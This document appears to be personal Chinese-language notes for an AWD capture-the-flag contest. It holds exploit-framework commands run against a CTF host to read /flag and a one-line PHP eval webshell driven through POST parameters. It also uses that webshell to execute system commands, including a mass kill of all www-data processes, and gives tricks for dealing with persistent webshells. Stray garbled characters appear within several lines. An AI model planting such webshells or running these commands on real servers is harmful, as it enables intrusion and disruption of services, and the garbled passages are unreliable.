AWD筆記
一、框架攻擊腳本運行
測試早龟,攻擊npc
python run.py -m cqhk_exp2 -l 1 -t ctf.momomoxiaoxi.com:8815
正式攻擊
python run.py -m cqhk_exp2 -c 'cat /flag' -c get_flag
二、殺不死馬
-
通用方法
chmod 755 css cd css rm .d0xxxxxx.php & mkdir .doxxxxxx.php chmod 777 ../css
- 自己種馬殺www-data進程之后殺馬
ps -ef|grep 'www-data' | awk '{print $2}'| xargs kill -9
殺不死馬方式:
寫入webshell.php
<?php
@eval($_REQUEST['aa']);
?>
hackbar post
http://ctf.momomoxiaoxi.com:8802/css/webshell.php
post參數(shù):
測試:
aa=system("ls");
正式:
aa=system("ps -ef|grep 'www-data' | awk '{print $2}'| xargs kill -9");
三、啟動apache
/usr/sbin/apache2 -k start
四使套、工具
postman,類似hackbar
mamp 鞠柄, mac版php+mysql管理工具
transmit侦高,mac版ftp工具
burpsuite,插件Reissue Request Scripter